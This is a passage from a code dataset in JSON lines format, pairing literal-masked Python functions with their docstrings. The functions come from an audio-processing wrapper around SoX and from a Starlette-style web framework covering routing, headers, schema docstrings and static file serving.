'<STR_LIT>'] and gain > <NUM_LIT:1>:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(limiter_gain))<EOL><DEDENT>elif gain_type == '<STR_LIT>' and gain > <NUM_LIT:0>:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(limiter_gain))<EOL><DEDENT><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply an amplification or an attenuation to the audio signal.\n\n        Parameters\n        ----------\n        gain : float\n            Interpreted according to the given `gain_type`.\n            If `gain_type' = 'amplitude', `gain' is a positive amplitude ratio.\n            If `gain_type' = 'power', `gain' is a power (voltage squared).\n            If `gain_type' = 'db', `gain' is in decibels.\n        gain_type : string, default='amplitude'\n            Type of gain. One of:\n                - 'amplitude'\n                - 'power'\n                - 'db'\n        limiter_gain : float or None, default=None\n            If specified, a limiter is invoked on peaks greater than\n            `limiter_gain' to prevent clipping.\n            `limiter_gain` should be a positive value much less than 1.\n\n        See Also\n        --------\n        gain, compand", "id": "f3809:c0:m62"}
{"signature": "def bitrate(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:b>')<EOL>if output == '<STR_LIT:0>':<EOL><INDENT>logger.warning(\"<STR_LIT>\", input_filepath)<EOL><DEDENT>return int(output)<EOL>", "docstring": "Number of bits per sample (0 if not applicable).\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nbitrate : int\n    number of bits per sample\n    returns 0 if not applicable", "id": "f3811:m0"}
{"signature": "def channels(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:c>')<EOL>return int(output)<EOL>", "docstring": "Show number of channels.\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nchannels : int\n    number of channels", "id": "f3811:m1"}
{"signature": "def comments(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:a>')<EOL>return str(output)<EOL>", "docstring": "Show file comments (annotations) if available.\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\ncomments : str\n    File comments from header.\n    If no comments are present, returns an empty string.", "id": "f3811:m2"}
{"signature": "def duration(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:D>')<EOL>if output == '<STR_LIT:0>':<EOL><INDENT>logger.warning(\"<STR_LIT>\", input_filepath)<EOL><DEDENT>return float(output)<EOL>", "docstring": "Show duration in seconds (0 if unavailable).\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nduration : float\n    Duration of audio file in seconds.\n    If unavailable or empty, returns 0.", "id": "f3811:m3"}
{"signature": "def encoding(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:e>')<EOL>return str(output)<EOL>", "docstring": "Show the name of the audio encoding.\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nencoding : str\n    audio encoding type", "id": "f3811:m4"}
{"signature": "def file_type(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:t>')<EOL>return str(output)<EOL>", "docstring": "Show detected file-type.\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nfile_type : str\n    file format type (ex. 'wav')", "id": "f3811:m5"}
{"signature": "def num_samples(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:s>')<EOL>if output == '<STR_LIT:0>':<EOL><INDENT>logger.warning(\"<STR_LIT>\", input_filepath)<EOL><DEDENT>return int(output)<EOL>", "docstring": "Show number of samples (0 if unavailable).\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nn_samples : int\n    total number of samples in audio file.\n    Returns 0 if empty or unavailable", "id": "f3811:m6"}
{"signature": "def sample_rate(input_filepath):", "body": "validate_input_file(input_filepath)<EOL>output = soxi(input_filepath, '<STR_LIT:r>')<EOL>return float(output)<EOL>", "docstring": "Show sample-rate.\n\nParameters\n----------\ninput_filepath : str\n    Path to audio file.\n\nReturns\n-------\nsamplerate : float\n    number of samples/second", "id": "f3811:m7"}
{"signature": "def silent(input_filepath, threshold=<NUM_LIT>):", "body": "validate_input_file(input_filepath)<EOL>stat_dictionary = stat(input_filepath)<EOL>mean_norm = stat_dictionary['<STR_LIT>']<EOL>if mean_norm is not float('<STR_LIT>'):<EOL><INDENT>if mean_norm >= threshold:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determine if an input file is silent.\n\nParameters\n----------\ninput_filepath : str\n    The input filepath.\nthreshold : float\n    Threshold for determining silence\n\nReturns\n-------\nis_silent : bool\n    True if file is determined silent.", "id": "f3811:m8"}
{"signature": "def validate_input_file(input_filepath):", "body": "if not os.path.exists(input_filepath):<EOL><INDENT>raise IOError(<EOL>\"<STR_LIT>\".format(input_filepath)<EOL>)<EOL><DEDENT>ext = file_extension(input_filepath)<EOL>if ext not in VALID_FORMATS:<EOL><INDENT>logger.info(\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(VALID_FORMATS))<EOL>logger.warning(<EOL>\"<STR_LIT>\".format(ext)<EOL>)<EOL><DEDENT>", "docstring": "Input file validation function. Checks that file exists and can be\n    processed by SoX.\n\n    Parameters\n    ----------\n    input_filepath : str\n        The input filepath.", "id": "f3811:m9"}
{"signature": "def validate_input_file_list(input_filepath_list):", "body": "if not isinstance(input_filepath_list, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>elif len(input_filepath_list) < <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for input_filepath in input_filepath_list:<EOL><INDENT>validate_input_file(input_filepath)<EOL><DEDENT>", "docstring": "Input file list validation function. Checks that object is a list and\n    contains valid filepaths that can be processed by SoX.\n\n    Parameters\n    ----------\n    input_filepath_list : list\n        A list of filepaths.", "id": "f3811:m10"}
{"signature": "def validate_output_file(output_filepath):", "body": "nowrite_conditions = [<EOL>bool(os.path.dirname(output_filepath)) ornot os.access(os.getcwd(), os.W_OK),<EOL>not os.access(os.path.dirname(output_filepath), os.W_OK)]<EOL>if all(nowrite_conditions):<EOL><INDENT>raise IOError(<EOL>\"<STR_LIT>\".format(output_filepath)<EOL>)<EOL><DEDENT>ext = file_extension(output_filepath)<EOL>if ext not in VALID_FORMATS:<EOL><INDENT>logger.info(\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(VALID_FORMATS))<EOL>logger.warning(<EOL>\"<STR_LIT>\".format(ext)<EOL>)<EOL><DEDENT>if os.path.exists(output_filepath):<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>',<EOL>output_filepath<EOL>)<EOL><DEDENT>", "docstring": "Output file validation function. Checks that file can be written, and\n    has a valid file extension. Throws a warning if the path already exists,\n    as it will be overwritten on build.\n\n    Parameters\n    ----------\n    output_filepath : str\n        The output filepath.\n\n    Returns:\n    --------\n    output_filepath : str\n        The output filepath.", "id": "f3811:m11"}
{"signature": "def file_extension(filepath):", "body": "return os.path.splitext(filepath)[<NUM_LIT:1>][<NUM_LIT:1>:]<EOL>", "docstring": "Get the extension of a filepath.\n\n    Parameters\n    ----------\n    filepath : str\n        File path.\n\n    Returns:\n    --------\n    extension : str\n        The file's extension", "id": "f3811:m12"}
{"signature": "def info(filepath):", "body": "info_dictionary = {<EOL>'<STR_LIT>': channels(filepath),<EOL>'<STR_LIT>': sample_rate(filepath),<EOL>'<STR_LIT>': bitrate(filepath),<EOL>'<STR_LIT>': duration(filepath),<EOL>'<STR_LIT>': num_samples(filepath),<EOL>'<STR_LIT>': encoding(filepath),<EOL>'<STR_LIT>': silent(filepath)<EOL>}<EOL>return info_dictionary<EOL>", "docstring": "Get a dictionary of file information\n\n    Parameters\n    ----------\n    filepath : str\n        File path.\n\n    Returns:\n    --------\n    info_dictionary : dict\n        Dictionary of file information. Fields are:\n            * channels\n            * sample_rate\n            * bitrate\n            * duration\n            * num_samples\n            * encoding\n            * silent", "id": "f3811:m13"}
{"signature": "def stat(filepath):", "body": "stat_output = _stat_call(filepath)<EOL>stat_dictionary = _parse_stat(stat_output)<EOL>return stat_dictionary<EOL>", "docstring": "Returns a dictionary of audio statistics.\n\n    Parameters\n    ----------\n    filepath : str\n        File path.\n\n    Returns\n    -------\n    stat_dictionary : dict\n        Dictionary of audio statistics.", "id": "f3811:m14"}
{"signature": "def _stat_call(filepath):", "body": "validate_input_file(filepath)<EOL>args = ['<STR_LIT>', filepath, '<STR_LIT>', '<STR_LIT>']<EOL>_, _, stat_output = sox(args)<EOL>return stat_output<EOL>", "docstring": "Call sox's stat function.\n\n    Parameters\n    ----------\n    filepath : str\n        File path.\n\n    Returns\n    -------\n    stat_output : str\n        Sox output from stderr.", "id": "f3811:m15"}
{"signature": "def _parse_stat(stat_output):", "body": "lines = stat_output.split('<STR_LIT:\\n>')<EOL>stat_dict = {}<EOL>for line in lines:<EOL><INDENT>split_line = line.split('<STR_LIT::>')<EOL>if len(split_line) == <NUM_LIT:2>:<EOL><INDENT>key = split_line[<NUM_LIT:0>]<EOL>val = split_line[<NUM_LIT:1>].strip('<STR_LIT:U+0020>')<EOL>try:<EOL><INDENT>val = float(val)<EOL><DEDENT>except ValueError:<EOL><INDENT>val = None<EOL><DEDENT>stat_dict[key] = val<EOL><DEDENT><DEDENT>return stat_dict<EOL>", "docstring": "Parse the string output from sox's stat function\n\n    Parameters\n    ----------\n    stat_output : str\n        Sox output from stderr.\n\n    Returns\n    -------\n    stat_dictionary : dict\n        Dictionary of audio statistics.", "id": "f3811:m16"}
{"signature": "def sox(args):", "body": "if args[<NUM_LIT:0>].lower() != \"<STR_LIT>\":<EOL><INDENT>args.insert(<NUM_LIT:0>, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>args[<NUM_LIT:0>] = \"<STR_LIT>\"<EOL><DEDENT>try:<EOL><INDENT>logger.info(\"<STR_LIT>\", '<STR_LIT:U+0020>'.join(args))<EOL>process_handle = subprocess.Popen(<EOL>args, stdout=subprocess.PIPE, stderr=subprocess.PIPE<EOL>)<EOL>out, err = process_handle.communicate()<EOL>out = out.decode(\"<STR_LIT:utf-8>\")<EOL>err = err.decode(\"<STR_LIT:utf-8>\")<EOL>status = process_handle.returncode<EOL>return status, out, err<EOL><DEDENT>except OSError as error_msg:<EOL><INDENT>logger.error(\"<STR_LIT>\", error_msg)<EOL><DEDENT>except TypeError as error_msg:<EOL><INDENT>logger.error(\"<STR_LIT>\", error_msg)<EOL><DEDENT>return <NUM_LIT:1>, None, None<EOL>", "docstring": "Pass an argument list to SoX.\n\n    Parameters\n    ----------\n    args : iterable\n        Argument list for SoX. The first item can, but does not\n        need to, be 'sox'.\n\n    Returns:\n    --------\n    status : bool\n        True on success.", "id": "f3813:m0"}
{"signature": "def _get_valid_formats():", "body": "if NO_SOX:<EOL><INDENT>return []<EOL><DEDENT>so = subprocess.check_output(['<STR_LIT>', '<STR_LIT>'])<EOL>if type(so) is not str:<EOL><INDENT>so = str(so, encoding='<STR_LIT>')<EOL><DEDENT>so = so.split('<STR_LIT:\\n>')<EOL>idx = [i for i in range(len(so)) if '<STR_LIT>' in so[i]][<NUM_LIT:0>]<EOL>formats = so[idx].split('<STR_LIT:U+0020>')[<NUM_LIT:3>:]<EOL>return formats<EOL>", "docstring": "Calls SoX help for a lists of audio formats available with the current\n    install of SoX.\n\n    Returns:\n    --------\n    formats : list\n        List of audio file extensions that SoX can process.", "id": "f3813:m1"}
{"signature": "def soxi(filepath, argument):", "body": "if argument not in SOXI_ARGS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(argument))<EOL><DEDENT>args = ['<STR_LIT>', '<STR_LIT>']<EOL>args.append(\"<STR_LIT>\".format(argument))<EOL>args.append(filepath)<EOL>try:<EOL><INDENT>shell_output = subprocess.check_output(<EOL>args,<EOL>stderr=subprocess.PIPE<EOL>)<EOL><DEDENT>except CalledProcessError as cpe:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(cpe.output))<EOL>raise SoxiError(\"<STR_LIT>\".format(cpe.returncode))<EOL><DEDENT>shell_output = shell_output.decode(\"<STR_LIT:utf-8>\")<EOL>return str(shell_output).strip('<STR_LIT:\\n>')<EOL>", "docstring": "Base call to SoXI.\n\n    Parameters\n    ----------\n    filepath : str\n        Path to audio file.\n\n    argument : str\n        Argument to pass to SoXI.\n\n    Returns\n    -------\n    shell_output : str\n        Command line output of SoXI", "id": "f3813:m2"}
{"signature": "def play(args):", "body": "if args[<NUM_LIT:0>].lower() != \"<STR_LIT>\":<EOL><INDENT>args.insert(<NUM_LIT:0>, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>args[<NUM_LIT:0>] = \"<STR_LIT>\"<EOL><DEDENT>try:<EOL><INDENT>logger.info(\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(args))<EOL>process_handle = subprocess.Popen(<EOL>args, stdout=subprocess.PIPE, stderr=subprocess.PIPE<EOL>)<EOL>status = process_handle.wait()<EOL>if process_handle.stderr is not None:<EOL><INDENT>logger.info(process_handle.stderr)<EOL><DEDENT>if status == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\", status)<EOL>return False<EOL><DEDENT><DEDENT>except OSError as error_msg:<EOL><INDENT>logger.error(\"<STR_LIT>\", error_msg)<EOL><DEDENT>except TypeError as error_msg:<EOL><INDENT>logger.error(\"<STR_LIT>\", error_msg)<EOL><DEDENT>return False<EOL>", "docstring": "Pass an argument list to play.\n\n    Parameters\n    ----------\n    args : iterable\n        Argument list for play. The first item can, but does not\n        need to, be 'play'.\n\n    Returns:\n    --------\n    status : bool\n        True on success.", "id": "f3813:m3"}
{"signature": "def is_number(var):", "body": "try:<EOL><INDENT>float(var)<EOL>return True<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if variable is a numeric value.\n\n    Parameters\n    ----------\n    var : object\n\n    Returns:\n    --------\n    bool\n        True if var is numeric, False otherwise.", "id": "f3813:m4"}
{"signature": "def all_equal(list_of_things):", "body": "return len(set(list_of_things)) <= <NUM_LIT:1><EOL>", "docstring": "Check if a list contains identical elements.\n\n    Parameters\n    ----------\n    list_of_things : list\n        list of objects\n\n    Returns:\n    --------\n    bool\n        True if all list elements are the same.", "id": "f3813:m5"}
{"signature": "@app.websocket_route(\"<STR_LIT>\")<EOL>def ws(session):", "body": "pass<EOL>", "docstring": "ws", "id": "f3834:m0"}
{"signature": "@app.route(\"<STR_LIT>\", methods=[\"<STR_LIT:GET>\", \"<STR_LIT>\"])<EOL>def list_users(request):", "body": "pass<EOL>", "docstring": "responses:\n  200:\n    description: A list of users.\n    examples:\n      [{\"username\": \"tom\"}, {\"username\": \"lucy\"}]", "id": "f3834:m1"}
{"signature": "@app.route(\"<STR_LIT>\", methods=[\"<STR_LIT:POST>\"])<EOL>def create_user(request):", "body": "pass<EOL>", "docstring": "responses:\n  200:\n    description: A user.\n    examples:\n      {\"username\": \"tom\"}", "id": "f3834:m2"}
{"signature": "@app.route(\"<STR_LIT>\")<EOL>def regular_docstring_and_schema(request):", "body": "pass<EOL>", "docstring": "This a regular docstring example (not included in schema)\n\n---\n\nresponses:\n  200:\n    description: This is included in the schema.", "id": "f3834:m3"}
{"signature": "@app.route(\"<STR_LIT>\")<EOL>def regular_docstring(request):", "body": "pass<EOL>", "docstring": "This a regular docstring example (not included in schema)", "id": "f3834:m4"}
{"signature": "@subapp.route(\"<STR_LIT>\")<EOL>def subapp_endpoint(request):", "body": "pass<EOL>", "docstring": "responses:\n  200:\n    description: This endpoint is part of a subapp.", "id": "f3834:m6"}
{"signature": "def get(self, request):", "body": "pass<EOL>", "docstring": "responses:\n  200:\n    description: A list of organisations.\n    examples:\n      [{\"name\": \"Foo Corp.\"}, {\"name\": \"Acme Ltd.\"}]", "id": "f3834:c0:m0"}
{"signature": "def post(self, request):", "body": "pass<EOL>", "docstring": "responses:\n  200:\n    description: An organisation.\n    examples:\n      {\"name\": \"Foo Corp.\"}", "id": "f3834:c0:m1"}
{"signature": "def get_version(package):", "body": "with open(os.path.join(package, \"<STR_LIT>\")) as f:<EOL><INDENT>return re.search(\"<STR_LIT>\", f.read()).group(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return package version as listed in `__version__` in `init.py`.", "id": "f3842:m0"}
{"signature": "def get_long_description():", "body": "with open(\"<STR_LIT>\", encoding=\"<STR_LIT:utf8>\") as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Return the README.", "id": "f3842:m1"}
{"signature": "def get_packages(package):", "body": "return [<EOL>dirpath<EOL>for dirpath, dirnames, filenames in os.walk(package)<EOL>if os.path.exists(os.path.join(dirpath, \"<STR_LIT>\"))<EOL>]<EOL>", "docstring": "Return root package and all sub-packages.", "id": "f3842:m2"}
{"signature": "async def on_connect(self, websocket: WebSocket) -> None:", "body": "await websocket.accept()<EOL>", "docstring": "Override to handle an incoming websocket connection", "id": "f3845:c1:m4"}
{"signature": "async def on_receive(self, websocket: WebSocket, data: typing.Any) -> None:", "body": "", "docstring": "Override to handle an incoming websocket message", "id": "f3845:c1:m5"}
{"signature": "async def on_disconnect(self, websocket: WebSocket, close_code: int) -> None:", "body": "", "docstring": "Override to handle a disconnecting websocket", "id": "f3845:c1:m6"}
{"signature": "def request_response(func: typing.Callable) -> ASGIApp:", "body": "is_coroutine = asyncio.iscoroutinefunction(func)<EOL>async def app(scope: Scope, receive: Receive, send: Send) -> None:<EOL><INDENT>request = Request(scope, receive=receive)<EOL>if is_coroutine:<EOL><INDENT>response = await func(request)<EOL><DEDENT>else:<EOL><INDENT>response = await run_in_threadpool(func, request)<EOL><DEDENT>await response(scope, receive, send)<EOL><DEDENT>return app<EOL>", "docstring": "Takes a function or coroutine `func(request) -> response`,\nand returns an ASGI application.", "id": "f3847:m0"}
{"signature": "def websocket_session(func: typing.Callable) -> ASGIApp:", "body": "<EOL>async def app(scope: Scope, receive: Receive, send: Send) -> None:<EOL><INDENT>session = WebSocket(scope, receive=receive, send=send)<EOL>await func(session)<EOL><DEDENT>return app<EOL>", "docstring": "Takes a coroutine `func(session)`, and returns an ASGI application.", "id": "f3847:m1"}
{"signature": "def compile_path(<EOL>path: str<EOL>) -> typing.Tuple[typing.Pattern, str, typing.Dict[str, Convertor]]:", "body": "path_regex = \"<STR_LIT>\"<EOL>path_format = \"<STR_LIT>\"<EOL>idx = <NUM_LIT:0><EOL>param_convertors = {}<EOL>for match in PARAM_REGEX.finditer(path):<EOL><INDENT>param_name, convertor_type = match.groups(\"<STR_LIT:str>\")<EOL>convertor_type = convertor_type.lstrip(\"<STR_LIT::>\")<EOL>assert (<EOL>convertor_type in CONVERTOR_TYPES<EOL>), f\"<STR_LIT>\"<EOL>convertor = CONVERTOR_TYPES[convertor_type]<EOL>path_regex += path[idx : match.start()]<EOL>path_regex += f\"<STR_LIT>\"<EOL>path_format += path[idx : match.start()]<EOL>path_format += \"<STR_LIT>\" % param_name<EOL>param_convertors[param_name] = convertor<EOL>idx = match.end()<EOL><DEDENT>path_regex += path[idx:] + \"<STR_LIT:$>\"<EOL>path_format += path[idx:]<EOL>return re.compile(path_regex), path_format, param_convertors<EOL>", "docstring": "Given a path string, like: \"/{username:str}\", return a three-tuple\nof (regex, format, {param_name:convertor}).\n\nregex:      \"/(?P<username>[^/]+)\"\nformat:     \"/{username}\"\nconvertors: {\"username\": StringConvertor()}", "id": "f3847:m4"}
{"signature": "def build_environ(scope: Scope, body: bytes) -> dict:", "body": "environ = {<EOL>\"<STR_LIT>\": scope[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": scope.get(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>\"<STR_LIT>\": scope[\"<STR_LIT:path>\"],<EOL>\"<STR_LIT>\": scope[\"<STR_LIT>\"].decode(\"<STR_LIT:ascii>\"),<EOL>\"<STR_LIT>\": f\"<STR_LIT>\",<EOL>\"<STR_LIT>\": (<NUM_LIT:1>, <NUM_LIT:0>),<EOL>\"<STR_LIT>\": scope.get(\"<STR_LIT>\", \"<STR_LIT:http>\"),<EOL>\"<STR_LIT>\": io.BytesIO(body),<EOL>\"<STR_LIT>\": sys.stdout,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": False,<EOL>}<EOL>server = scope.get(\"<STR_LIT>\") or (\"<STR_LIT:localhost>\", <NUM_LIT>)<EOL>environ[\"<STR_LIT>\"] = server[<NUM_LIT:0>]<EOL>environ[\"<STR_LIT>\"] = server[<NUM_LIT:1>]<EOL>if scope.get(\"<STR_LIT>\"):<EOL><INDENT>environ[\"<STR_LIT>\"] = scope[\"<STR_LIT>\"][<NUM_LIT:0>]<EOL><DEDENT>for name, value in scope.get(\"<STR_LIT>\", []):<EOL><INDENT>name = name.decode(\"<STR_LIT>\")<EOL>if name == \"<STR_LIT>\":<EOL><INDENT>corrected_name = \"<STR_LIT>\"<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>corrected_name = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>corrected_name = f\"<STR_LIT>\".upper().replace(\"<STR_LIT:->\", \"<STR_LIT:_>\")<EOL><DEDENT>value = value.decode(\"<STR_LIT>\")<EOL>if corrected_name in environ:<EOL><INDENT>value = environ[corrected_name] + \"<STR_LIT:U+002C>\" + value<EOL><DEDENT>environ[corrected_name] = value<EOL><DEDENT>return environ<EOL>", "docstring": "Builds a scope and request body into a WSGI environ object.", "id": "f3853:m0"}
{"signature": "def __setitem__(self, key: str, value: str) -> None:", "body": "set_key = key.lower().encode(\"<STR_LIT>\")<EOL>set_value = value.encode(\"<STR_LIT>\")<EOL>found_indexes = []<EOL>for idx, (item_key, item_value) in enumerate(self._list):<EOL><INDENT>if item_key == set_key:<EOL><INDENT>found_indexes.append(idx)<EOL><DEDENT><DEDENT>for idx in reversed(found_indexes[<NUM_LIT:1>:]):<EOL><INDENT>del self._list[idx]<EOL><DEDENT>if found_indexes:<EOL><INDENT>idx = found_indexes[<NUM_LIT:0>]<EOL>self._list[idx] = (set_key, set_value)<EOL><DEDENT>else:<EOL><INDENT>self._list.append((set_key, set_value))<EOL><DEDENT>", "docstring": "Set the header `key` to `value`, removing any duplicate entries.\nRetains insertion order.", "id": "f3859:c10:m0"}
{"signature": "def __delitem__(self, key: str) -> None:", "body": "del_key = key.lower().encode(\"<STR_LIT>\")<EOL>pop_indexes = []<EOL>for idx, (item_key, item_value) in enumerate(self._list):<EOL><INDENT>if item_key == del_key:<EOL><INDENT>pop_indexes.append(idx)<EOL><DEDENT><DEDENT>for idx in reversed(pop_indexes):<EOL><INDENT>del self._list[idx]<EOL><DEDENT>", "docstring": "Remove the header `key`.", "id": "f3859:c10:m1"}
{"signature": "def setdefault(self, key: str, value: str) -> str:", "body": "set_key = key.lower().encode(\"<STR_LIT>\")<EOL>set_value = value.encode(\"<STR_LIT>\")<EOL>for idx, (item_key, item_value) in enumerate(self._list):<EOL><INDENT>if item_key == set_key:<EOL><INDENT>return item_value.decode(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self._list.append((set_key, set_value))<EOL>return value<EOL>", "docstring": "If the header `key` does not exist, then set it to `value`.\nReturns the header value.", "id": "f3859:c10:m3"}
{"signature": "def append(self, key: str, value: str) -> None:", "body": "append_key = key.lower().encode(\"<STR_LIT>\")<EOL>append_value = value.encode(\"<STR_LIT>\")<EOL>self._list.append((append_key, append_value))<EOL>", "docstring": "Append a header, preserving any duplicate entries.", "id": "f3859:c10:m5"}
{"signature": "def get_endpoints(<EOL>self, routes: typing.List[BaseRoute]<EOL>) -> typing.List[EndpointInfo]:", "body": "endpoints_info: list = []<EOL>for route in routes:<EOL><INDENT>if isinstance(route, Mount):<EOL><INDENT>routes = route.routes or []<EOL>sub_endpoints = [<EOL>EndpointInfo(<EOL>path=\"<STR_LIT>\".join((route.path, sub_endpoint.path)),<EOL>http_method=sub_endpoint.http_method,<EOL>func=sub_endpoint.func,<EOL>)<EOL>for sub_endpoint in self.get_endpoints(routes)<EOL>]<EOL>endpoints_info.extend(sub_endpoints)<EOL><DEDENT>elif not isinstance(route, Route) or not route.include_in_schema:<EOL><INDENT>continue<EOL><DEDENT>elif inspect.isfunction(route.endpoint) or inspect.ismethod(route.endpoint):<EOL><INDENT>for method in route.methods or [\"<STR_LIT:GET>\"]:<EOL><INDENT>if method == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>endpoints_info.append(<EOL>EndpointInfo(route.path, method.lower(), route.endpoint)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for method in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if not hasattr(route.endpoint, method):<EOL><INDENT>continue<EOL><DEDENT>func = getattr(route.endpoint, method)<EOL>endpoints_info.append(<EOL>EndpointInfo(route.path, method.lower(), func)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return endpoints_info<EOL>", "docstring": "Given the routes, yields the following information:\n\n- path\n    eg: /users/\n- http_method\n    one of 'get', 'post', 'put', 'patch', 'delete', 'options'\n- func\n    method ready to extract the docstring", "id": "f3862:c2:m1"}
{"signature": "def parse_docstring(self, func_or_method: typing.Callable) -> dict:", "body": "docstring = func_or_method.__doc__<EOL>if not docstring:<EOL><INDENT>return {}<EOL><DEDENT>docstring = docstring.split(\"<STR_LIT>\")[-<NUM_LIT:1>]<EOL>parsed = yaml.safe_load(docstring)<EOL>if not isinstance(parsed, dict):<EOL><INDENT>return {}<EOL><DEDENT>return parsed<EOL>", "docstring": "Given a function, parse the docstring as YAML and return a dictionary of info.", "id": "f3862:c2:m2"}
{"signature": "def get_directories(<EOL>self, directory: str = None, packages: typing.List[str] = None<EOL>) -> typing.List[str]:", "body": "directories = []<EOL>if directory is not None:<EOL><INDENT>directories.append(directory)<EOL><DEDENT>for package in packages or []:<EOL><INDENT>spec = importlib.util.find_spec(package)<EOL>assert spec is not None, f\"<STR_LIT>\"<EOL>assert (<EOL>spec.origin is not None<EOL>), \"<STR_LIT>\"<EOL>directory = os.path.normpath(os.path.join(spec.origin, \"<STR_LIT:..>\", \"<STR_LIT>\"))<EOL>assert os.path.isdir(<EOL>directory<EOL>), \"<STR_LIT>\"<EOL>directories.append(directory)<EOL><DEDENT>return directories<EOL>", "docstring": "Given `directory` and `packages` arugments, return a list of all the\ndirectories that should be used for serving static files from.", "id": "f3863:c1:m1"}
{"signature": "async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:", "body": "assert scope[\"<STR_LIT:type>\"] == \"<STR_LIT:http>\"<EOL>if not self.config_checked:<EOL><INDENT>await self.check_config()<EOL>self.config_checked = True<EOL><DEDENT>path = self.get_path(scope)<EOL>response = await self.get_response(path, scope)<EOL>await response(scope, receive, send)<EOL>", "docstring": "The ASGI entry point.", "id": "f3863:c1:m2"}
{"signature": "def get_path(self, scope: Scope) -> str:", "body": "return os.path.normpath(os.path.join(*scope[\"<STR_LIT:path>\"].split(\"<STR_LIT:/>\")))<EOL>", "docstring": "Given the ASGI scope, return the `path` string to serve up,\nwith OS specific path seperators, and any '..', '.' components removed.", "id": "f3863:c1:m3"}
{"signature": "async def get_response(self, path: str, scope: Scope) -> Response:", "body": "if scope[\"<STR_LIT>\"] not in (\"<STR_LIT:GET>\", \"<STR_LIT>\"):<EOL><INDENT>return PlainTextResponse(\"<STR_LIT>\", status_code=<NUM_LIT>)<EOL><DEDENT>if path.startswith(\"<STR_LIT:..>\"):<EOL><INDENT>return PlainTextResponse(\"<STR_LIT>\", status_code=<NUM_LIT>)<EOL><DEDENT>full_path, stat_result = await self.lookup_path(path)<EOL>if stat_result and stat.S_ISREG(stat_result.st_mode):<EOL><INDENT>return self.file_response(full_path, stat_result, scope)<EOL><DEDENT>elif stat_result and stat.S_ISDIR(stat_result.st_mode) and self.html:<EOL><INDENT>index_path = os.path.join(path, \"<STR_LIT>\")<EOL>full_path, stat_result = await self.lookup_path(index_path)<EOL>if stat_result is not None and stat.S_ISREG(stat_result.st_mode):<EOL><INDENT>if not scope[\"<STR_LIT:path>\"].endswith(\"<STR_LIT:/>\"):<EOL><INDENT>url = URL(scope=scope)<EOL>url = url.replace(path=url.path + \"<STR_LIT:/>\")<EOL>return RedirectResponse(url=url)<EOL><DEDENT>return self.file_response(full_path, stat_result, scope)<EOL><DEDENT><DEDENT>if self.html:<EOL><INDENT>full_path, stat_result = await self.lookup_path(\"<STR_LIT>\")<EOL>if stat_result is not None and stat.S_ISREG(stat_result.st_mode):<EOL><INDENT>return self.file_response(<EOL>full_path, stat_result, scope, status_code=<NUM_LIT><EOL>)<EOL><DEDENT><DEDENT>return PlainTextResponse(\"<STR_LIT>\", status_code=<NUM_LIT>)<EOL>", "docstring": "Returns an HTTP response, given the incoming path, method and request headers.", "id": "f3863:c1:m4"}
